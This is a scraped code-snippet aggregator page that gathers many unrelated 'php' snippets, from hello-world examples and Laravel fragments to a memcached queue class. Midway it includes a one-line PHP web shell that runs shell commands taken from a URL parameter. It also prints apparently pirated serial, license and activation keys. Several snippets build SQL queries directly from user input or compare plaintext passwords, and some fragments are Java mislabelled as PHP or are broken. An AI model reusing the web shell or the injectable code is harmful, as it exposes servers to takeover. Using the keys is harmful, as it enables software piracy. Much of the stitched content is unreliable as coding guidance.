DekGenius.com
PHP
PHP
php
/* PHP's full form is Hypertext Preprocesser
It is a programming language made by Rasmus Lerdorf
It is case sensitive for variable names and for functions, it's not. */
php
php
<?php
class BaseClass {
public function test() {
echo "BaseClass::test() called
";
}
final public function moreTesting() {
echo "BaseClass::moreTesting() called
";
}
}
class ChildClass extends BaseClass {
public function moreTesting() {
echo "ChildClass::moreTesting() called
";
}
}
// Results in Fatal error: Cannot override final method BaseClass::moreTesting()
?>
php
<?php
class PropertyTest
{
/** Location for overloaded data. */
private $data = array();
/** Overloading not used on declared properties. */
public $declared = 1;
/** Overloading only used on this when accessed outside the class. */
private $hidden = 2;
public function __set($name, $value)
{
echo "Setting '$name' to '$value'
";
$this->data[$name] = $value;
}
public function __get($name)
{
echo "Getting '$name'
";
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}
$trace = debug_backtrace();
trigger_error(
'Undefined property via __get(): ' . $name .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return null;
}
/** As of PHP 5.1.0 */
public function __isset($name)
{
echo "Is '$name' set?
";
return isset($this->data[$name]);
}
/** As of PHP 5.1.0 */
public function __unset($name)
{
echo "Unsetting '$name'
";
unset($this->data[$name]);
}
/** Not a magic method, just here for example. */
public function getHidden()
{
return $this->hidden;
}
}
echo "<pre>
";
$obj = new PropertyTest;
$obj->a = 1;
echo $obj->a . "
";
var_dump(isset($obj->a));
unset($obj->a);
var_dump(isset($obj->a));
echo "
";
echo $obj->declared . "
";
echo "Let's experiment with the private property named 'hidden':
";
echo "Privates are visible inside the class, so __get() not used...
";
echo $obj->getHidden() . "
";
echo "Privates not visible outside of class, so __get() is used...
";
echo $obj->hidden . "
";
?>
php
<?php
class Connection
{
protected $link;
private $dsn, $username, $password;
public function __construct($dsn, $username, $password)
{
$this->dsn = $dsn;
$this->username = $username;
$this->password = $password;
$this->connect();
}
private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this->password);
}
public function __sleep()
{
return array('dsn', 'username', 'password');
}
public function __wakeup()
{
$this->connect();
}
}?>
php
<?php
echo "Hello, World!";
?>
php
Serial
74RYE-UR7T8-WYTI7-TYGRE-76EY6
License
58YUH-KTUIH-GE5TY-T7EY8-75YY8
Activation
85UHG-JIDT8-R5UGR-86YU87-Y86UR
Registration
HE8RH-KDTG7-6IUIT-I765I-UIY6Y
php ??
// Example usage for: Null Coalesce Operator
$action = $_POST['action'] ?? 'default';
// The above is identical to this if/else statement
if (isset($_POST['action'])) {
$action = $_POST['action'];
} else {
$action = 'default';
}
?? php
?: // !empty()
?? // isset()
?: php
<?php
var_dump(5 ?: 0); // 5
var_dump(false ?: 0); // 0
var_dump(null ?: 'foo'); // 'foo'
var_dump(true ?: 123); // true
var_dump('rock' ?: 'roll'); // 'rock'
?>
php
<?php
echo "Hello World";
?>
what is php?
PHP stands for Hypertext Preprocessor.
It is an open source server-side scripting language which is widely used for web development.
It supports many databases like MySQL, Oracle, Sybase, Solid, PostgreSQL, generic ODBC etc.
<?php
echo "Hello world";
// ... more code
echo "Last statement";
// the script ends here with no PHP closing tag
php
<?php //this is the basic syntax of php ?>
PHP
<cfset apikey = '000000'>
<cfset apipassword = 'password'>
<!-- call getauthorizenetkey for credentials -->
<cfhttp url="https://www.floristone.com/api/rest/flowershop/getauthorizenetkey" method="get">
<cfhttpparam type="header" name="Authorization" value="Basic #toBase64(apikey & ":" & apipassword)#">
</cfhttp>
<cfset authorizeneturl = deserializeJSON(cfhttp.filecontent.toString()).AUTHORIZENET_URL>
<cfset username = deserializeJSON(cfhttp.filecontent.toString()).USERNAME>
<cfset authnetkey = deserializeJSON(cfhttp.filecontent.toString()).AUTHORIZENET_KEY>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<!-- include dynamic accept.js script from getauthorizenetkey --->
<script type="text/javascript" src="<cfoutput>#authorizeneturl#</cfoutput>" charset="utf-8"></script>
</head>
<body>
<a href="#" onclick="sendPaymentDataToAnet()">create token</a>
<script type="text/javascript">
function sendPaymentDataToAnet() {
var authData = {
// plug in dynamic authorizenet credentials from getauthorizenetkey
clientKey: '<cfoutput>#authnetkey#</cfoutput>',
apiLoginID: '<cfoutput>#username#</cfoutput>'
};
var cardData = {};
cardData.cardNumber = "4242424242424242";
cardData.month = "12";
cardData.year = "22";
cardData.cardCode = "123";
var secureData = {};
secureData.authData = authData;
secureData.cardData = cardData;
Accept.dispatchData(secureData, responseHandler);
}
function responseHandler(response){
console.log(response);
alert(response);
}
</script>
</body>
</html>
php
<pre>
<?php
$userid = $getuser->user_id;
$userPhone=tp_input($_POST['userPhone']);
$userEmail=tp_input($_POST['userEmail']);
if (isset($_POST['actionSubmit']))
{
$checkExist = tp_query("SELECT * FROM `user`
WHERE
`user_id`='$userid'");
while($userInfo=tp_fetch_object($checkExist))
{
if (tp_num_rows($checkExist)!=""){
tp_query("UPDATE `user`
SET
`username`='$username',
`userage`='$userage'
WHERE
`user_id`='$userid' ");
}
else{
echo "Fail Updated ";
}
}
}
?>
PHP
Connect Successfully
New record created successfully
php
public class Circle implements Shape {
@Override
public void draw() {
System.out.println("Shape: Circle");
}
}
php
public function update_code($email, $code)
{
$sql = "Update Users set code = $code where email_u = '$email'";
$query = $this->query($sql);
if ($query) {
echo '1';
} else {
echo '0';
}
}
php
date_default_timezone_set('asia/Dhaka');
$expire = strtotime("-1 days");
if($expire <= time()){
echo '<br>Expired on '. date('F j, Y, g:i:s A', $expire);
}else{
echo '<br>Running until '. date('F j, Y, g:i:s A', $expire);
}
php
public abstract class ShapeDecorator implements Shape {
protected Shape decoratedShape;
public ShapeDecorator(Shape decoratedShape){
this.decoratedShape = decoratedShape;
}
public void draw(){
decoratedShape.draw();
}
}
php
PHP: Hypertext Preprocessor
PHP is a server scripting language, and a powerful tool for making dynamic and interactive Web pages.
PHP is a widely-used, free, and efficient alternative to competitors such as Microsoft's ASP
PHP
<?php
// Hello world in PHP
echo 'Hello World!';
?>
php
PHP is a general-purpose scripting language geared toward web development. It was originally created by Danish-Canadian programmer Rasmus Lerdorf in 1994. The PHP reference implementation is now produced by The PHP Group.
php
date_default_timezone_set('asia/Dhaka');
$expire = strtotime("-1 days");
if($expire <= time()){
echo '<br>Expired on '. date('F j, Y, g:i:s A', $expire);
}else{
echo '<br>Running until '. date('F j, Y, g:i:s A', $expire);
}
php
date_default_timezone_set('asia/Dhaka');
$expire = strtotime("-1 days");
if($expire <= time()){
echo '<br>Expired on '. date('F j, Y, g:i:s A', $expire);
}else{
echo '<br>Running until '. date('F j, Y, g:i:s A', $expire);
}
php
To get started I do suggest W3SCHOOLS.com, they have amazing beginner tutorials and even quizzes.
php
"enablePhpTooling": true, //true for enable the PHP features and false for
//disable the PHP features.
"executablePath": "php", // this is the path format, for MAC and Linux,
// the path is “/users/someuser/bin/php.
// For windows, the path is c:path ophp.exe.
"memoryLimit": "5904M", // indicates the memory limit for the PHP language
// server process.
"validateOnType": "false", // the ‘on type’ or ‘on save’ are the configuration
// to have the diagnostics.
"livedev.multibrowser": false
php
$sql = "SELECT * FROM food WHERE cropName = 'Rice' AND foodName =
'Foodname1' ";
$result = mysqli_query($connect, $sql);
$num_rows = mysqli_num_rows($result);
if ($num_rows > 0) {
$jsonData = array();
while ($array = mysqli_fetch_row($result)) {
$jsonData[] = $array;
}
}
class Emp {
public $majorFoods = "";
}
$e = new Emp();
$e->majorFoods = $jsonData;
header('Content-type: application/json');
echo json_encode($e);
php
<?php echo "hello world";?>
php
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
php
PHP is a general-purpose scripting language geared toward web development. It was originally created by Danish-Canadian programmer Rasmus Lerdorf in 1993 and released in 1995. The PHP reference implementation is now produced by The PHP Group.
php
<?php
echo "welcome to php";
?>
PHP
<?php
echo 'Hello, World!';
php
POV: you are a programmer and still use php lol
php
php
mutation CreateNonInstantLocalPaymentContext($input: CreateNonInstantLocalPaymentContextInput!) {
createNonInstantLocalPaymentContext(input: $input) {
paymentContext {
id
type
paymentId
approvalUrl
merchantAccountId
createdAt
transactedAt
approvedAt
amount {
value
currencyCode
}
}
}
}
php
Company.GetBusinessObject(....)
php
@extends('Home.index_layout.layout')
@section('content')
@if($account_info->theme_id == 1)
@include('Home.Themes.Free.index')
@endif
@if($account_info->theme_id == 'TH1P')
@include('Home.Themes.TH1P.index')
@endif
@endsection
php
Company.GetBusinessObject(....)
php
$data=Curl ('staging4.qoves.com');
print_r($data);
php
while ($array = mysqli_fetch_assoc($result)) {
$cropData = array ( $array['foodName'] =>
array( 'majorFoodName' => $array['majorFoodName'],
'quantity' => $array['quantity'],
'form' => $array['form'] ));
$jsonData[$array['cropName']][] = $cropData;
}
php
<?php
$connect = mysqli_connect("localhost", "root", "", "testing");
if(isset($_POST["insert"]))
{
$file = addslashes(file_get_contents($_FILES["image"]["tmp_name"]));
$query = "INSERT INTO tbl_images(name) VALUES ('$file')";
if(mysqli_query($connect, $query))
{
echo '<script>alert("Image Inserted into Database")</script>';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Webslesson Tutorial | Insert and Display Images From Mysql Database in PHP</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" />
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
</head>
<body>
<br /><br />
<div class="container" style="width:500px;">
<h3 align="center">Insert and Display Images From Mysql Database in PHP</h3>
<br />
<form method="post" enctype="multipart/form-data">
<input type="file" name="image" id="image" />
<br />
<input type="submit" name="insert" id="insert" value="Insert" class="btn btn-info" />
</form>
<br />
<br />
<table class="table table-bordered">
<tr>
<th>Image</th>
</tr>
<?php
$query = "SELECT * FROM tbl_images ORDER BY id DESC";
$result = mysqli_query($connect, $query);
while($row = mysqli_fetch_array($result))
{
echo '
<tr>
<td>
<img src="data:image/jpeg;base64,'.base64_encode($row['name'] ).'" height="200" width="200" class="img-thumnail" />
</td>
</tr>
';
}
?>
</table>
</div>
</body>
</html>
<script>
$(document).ready(function(){
$('#insert').click(function(){
var image_name = $('#image').val();
if(image_name == '')
{
alert("Please Select Image");
return false;
}
else
{
var extension = $('#image').val().split('.').pop().toLowerCase();
if(jQuery.inArray(extension, ['gif','png','jpg','jpeg']) == -1)
{
alert('Invalid Image File');
$('#image').val('');
return false;
}
}
});
});
</script>
php
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.+)$ index.php [QSA,L]
php
//how to count directory file and echo
$directory = "/path/to/dir/";
$filecount = count(glob($directory . "*"));
echo "There were $filecount files";
php
php
public function product(){
$this->belongsTo('Appproduct','id','prduct_id');
}
php
[Laravel](http://localhost)
# Hi Folk
My Name is chandrashekhar sharnagat
Php Developer:
Thanks,
chandrashekhar sharnagat
© 2022 Laravel. All rights reserved.
php
print_r(array_filter($array, function($v) { return !is_null($v); }));
php
PHP is a general-purpose scripting language especially suited to
web development.
It was originally created by Danish-Canadian programmer
Rasmus Lerdorf in 1994;
the PHP reference implementation is now produced by The PHP Group
Implementation language: C (primarily; some components C++)
php
<?php
// This is a comment
echo 'Hello, World!';
// And this outputs Hello, World!
?>
Add Grepper Answer(a)
php
Use repl.it for php web server
join: https://discord.gg/ZWB4DTD3d6
please
php
A82DEE284F-eyJsaWNlbnNlSWQiOiJBODJERUUyODRGIiwibGljZW5zZWVOYW1lIjoiaHR0cHM6Ly96aGlsZS5pbyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiJVbmxpbWl0ZWQgbGljZW5zZSB0aWxsIGVuZCBvZiB0aGUgY2VudHVyeS4iLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IklJIiwicGFpZFVwVG8iOiIyMDg5LTA3LTA3In0seyJjb2RlIjoiUlMwIiwicGFpZFVwVG8iOiIyMDg5LTA3L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5xF8eup5xXc4/G7NtVYRSMvrd6rfQcHOyK5UFJLm+8utmyMIDrZOzLQuTsT8NxFpbCVCfV5wNRu4rChrCuArYVGaKbmp9ymkw1PU6+HoO5i2wU3ikTmRv8IRjrlSStyNzXpnPTwt7bja19ousk56r40SmlmC04GdDHErr0ei2UbjUua5kw71Qn9g02tL9fERI2sSRjQrvPbn9INwRWl5+k05mlKekbtbu2ev2woJFZK4WEXAd/GaAdeZZdumv8T2idDFL7cAirJwcrbfpawPeXr52oKTPnXfi0l5+g9Gnt/wfiXCrPElX6ycTR6iL3GC2VR4jTz6YatT4Ntz59/THOT7NJQhr6AyLkhhJCdkzE2cob/KouVp4ivV7Q3Fc6HX7eepHAAF/DpxwgOrg9smX6coXLgfp0b1RU2u/tUNID04rpNxTMueTtrT8WSskqvaJd3RH8r7cnRj6Y2hltkja82HlpDURDxDTRvv+krbwMr26SB/40BjpMUrDRCeKuiBahC0DCoU/4+ze1l94wVUhdkCfL0GpJrMSCDEK+XEurU18Hb7WT+ThXbkdl6VpFdHsRvqAnhR2g4b+Qzgidmuky5NUZVfEaZqV/g==
php
php
© 2008-<?php echo date("Y"); ?>
php
//I love php
echo "Php is Easy";
php
Outputvia ICEcoder.output(message);
php
php
use IlluminateHttpRequest;use IlluminateSupportFacadesDB; class Admin_auth extends Controller{ function login_submit(Request $request){ $email=$request->input('email'); $password=$request->input('password'); $result=DB::table('users') ->where('email',$email) ->where('password',$password) ->get(); if(isset($result[0]->id)){ if($request[0]->status==1){ $request->session()->put('BLOG_USER_ID',$result[0]->id); return redirect('/admin/post/list'); }else{ $request->session()->flash('msg','Account Deactivated'); return redirect('admin/login'); } }else{ $request->session()->flash('msg','Please enter valid login details'); return redirect('admin/login'); }
php
i dont know how to code in php ._.
php
Save Yourself from the agony
php
<?php namespace AppHttpControllers; use IlluminateHttpRequest; class ProductsController extends Controller{ public function index() { $title = "Welcome to my Laravel 8 course"; $description = "Created by Dary"; $data = [ 'productOne' => 'iPhone', 'productTwo' => 'Samsung' ]; //Compact method //return view('products.index', // compact('title', 'description)); //with method //return view('products.index')->with('title', $title); //Directly in the view return view('products.index', [ ]); } public function about() {
php
/* PHP is a general-purpose scripting language geared towards web development. It was originally created by Danish-Canadian programmer Rasmus Lerdorf in 1994. The PHP reference implementation is now produced by The PHP Group. */
php
php
<html>
<head>
<title>Prueba de PHP</title>
</head>
<body>
<?php echo '<p>Hola Mundo</p>'; ?>
</body>
</html>
php
use AppHttpControllersUserController;
Route::get('/users', [UserController::class, 'index']);
PHP
<!DOCTYPE html>
<html>
<body>
<?php
echo "Hello World!";
?>
</body>
</html>
php
<?php
public class User {
public $userid;
public $username;
private $password;
public class UserProfile {
// some code here
}
private class UserHistory {
// some code here
}
}
?>
php
php
<?php
$target ='/home/cp1758576p20/NetSchool-net/storage/app/public';
$link = '/home/cp1758576p20/public_html/storage';
$symlink = symlink($target, $link);
echo $symlink;
?>
php
public function product(){
$this->belongsTo('Appproduct','id','product_id');
}
php
<?php
echo 'hello world';
?>
php
php
php
php artisan make:model Contact -m
php
php
class Number {
public function __construct(
private int|float $number
) {}
}
new Number('NaN'); // TypeError
php
Carbon::createFromFormat('Y-m-d H:i:s', $request->date)->format('Y')
php
<?php
define('MEMQ_POOL', 'localhost:11211');
define('MEMQ_TTL', 0);
class MEMQ {
private static $mem = NULL;
private function __construct() {}
private function __clone() {}
private static function getInstance() {
if(!self::$mem) self::init();
return self::$mem;
}
private static function init() {
$mem = new Memcached;
$servers = explode(",", MEMQ_POOL);
foreach($servers as $server) {
list($host, $port) = explode(":", $server);
$mem->addServer($host, $port);
}
self::$mem = $mem;
}
public static function is_empty($queue) {
$mem = self::getInstance();
$head = $mem->get($queue."_head");
$tail = $mem->get($queue."_tail");
if($head >= $tail || $head === FALSE || $tail === FALSE)
return TRUE;
else
return FALSE;
}
public static function dequeue($queue, $after_id=FALSE, $till_id=FALSE) {
$mem = self::getInstance();
if($after_id === FALSE && $till_id === FALSE) {
$tail = $mem->get($queue."_tail");
if(($id = $mem->increment($queue."_head")) === FALSE)
return FALSE;
if($id <= $tail) {
return $mem->get($queue."_".($id-1));
}
else {
$mem->decrement($queue."_head");
return FALSE;
}
}
else if($after_id !== FALSE && $till_id === FALSE) {
$till_id = $mem->get($queue."_tail");
}
$item_keys = array();
for($i=$after_id+1; $i<=$till_id; $i++)
$item_keys[] = $queue."_".$i;
$null = NULL;
return $mem->getMulti($item_keys, $null, Memcached::GET_PRESERVE_ORDER);
}
public static function enqueue($queue, $item) {
$mem = self::getInstance();
$id = $mem->increment($queue."_tail");
if($id === FALSE) {
if($mem->add($queue."_tail", 1, MEMQ_TTL) === FALSE) {
$id = $mem->increment($queue."_tail");
if($id === FALSE)
return FALSE;
}
else {
$id = 1;
$mem->add($queue."_head", $id, MEMQ_TTL);
}
}
if($mem->add($queue."_".$id, $item, MEMQ_TTL) === FALSE)
return FALSE;
return $id;
}
}
?>
php
php ?:
// Example usage for: Ternary Operator
$action = $_POST['action'] ?: 'default';
// The above is identical to this if/else statement
if (empty($_POST['action'])) {
$action = 'default';
} else {
$action = $_POST['action'];
}
php
© 2022 Copyright:
DekGenius.com